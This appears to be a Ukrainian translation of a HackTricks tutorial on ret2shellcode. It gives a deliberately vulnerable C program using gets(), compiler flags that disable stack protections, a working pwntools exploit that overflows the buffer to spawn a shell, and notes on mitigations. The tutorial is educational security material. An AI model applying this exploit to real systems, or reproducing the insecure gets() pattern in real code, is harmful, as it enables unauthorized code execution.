Ret2Shellcode

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
Отримайте офіційний PEASS & HackTricks мерч
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.

Базова інформація

Ret2shellcode - це техніка, яка використовується в бінарному експлуатації, де атакуючий записує shellcode в стек вразливої програми, а потім модифікує Вказівник Інструкції (IP) або Розширений Вказівник Інструкції (EIP), щоб вказувати на місце цього shellcode, що призводить до його виконання. Це класичний метод, який використовується для незаконного доступу або виконання довільних команд на цільовій системі. Ось розбір процесу, включаючи простий приклад на мові C та як ви можете написати відповідний експлойт, використовуючи Python з pwntools.

Приклад на мові C: Вразлива програма

Давайте розпочнемо з простого прикладу вразливої програми на мові C:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Ця програма має уразливість на переповнення буфера через використання функції gets().

Компіляція

Для компіляції цієї програми з вимкненням різних захистів (для імітації вразливого середовища), ви можете використати наступну команду:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

-fno-stack-protector: Вимикає захист стеку.
-z execstack: Робить стек виконавчим, що необхідно для виконання shellcode, збереженого в стеці.
-no-pie: Вимикає позиційно-незалежний виконуваний файл, що полегшує передбачення адреси пам'яті, де буде розташований наш shellcode.
-m32: Компілює програму як 32-бітний виконуваний файл, часто використовується для спрощення розробки експлойтів.

Експлойт на Python з використанням Pwntools

Ось як ви можете написати експлойт на Python, використовуючи pwntools, для виконання атаки ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Цей скрипт створює полезне навантаження, що складається з NOP слайду, shellcode, а потім перезаписує EIP адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.

NOP slide (asm('nop')) використовується для збільшення ймовірності того, що виконання "слайдуватиме" у наш shellcode незалежно від точної адреси. Налаштуйте аргумент p32() на початкову адресу вашого буфера плюс зміщення, щоб потрапити на NOP слайд.

Захисти

ASLR повинен бути вимкнений для того, щоб адреса була надійною під час кожного виконання, або адреса, де буде збережена функція, не буде завжди однаковою, і вам знадобиться якийсь витік, щоб з'ясувати, де завантажена функція перемоги.
Stack Canaries також повинні бути вимкнені, інакше компрометована адреса повернення EIP ніколи не буде виконана.
NX захист стеку перешкоджатиме виконанню shellcode всередині стеку, оскільки ця область не буде виконуваною.

Інші Приклади

https://ir0nstone.gitbook.io/notes/types/stack/shellcode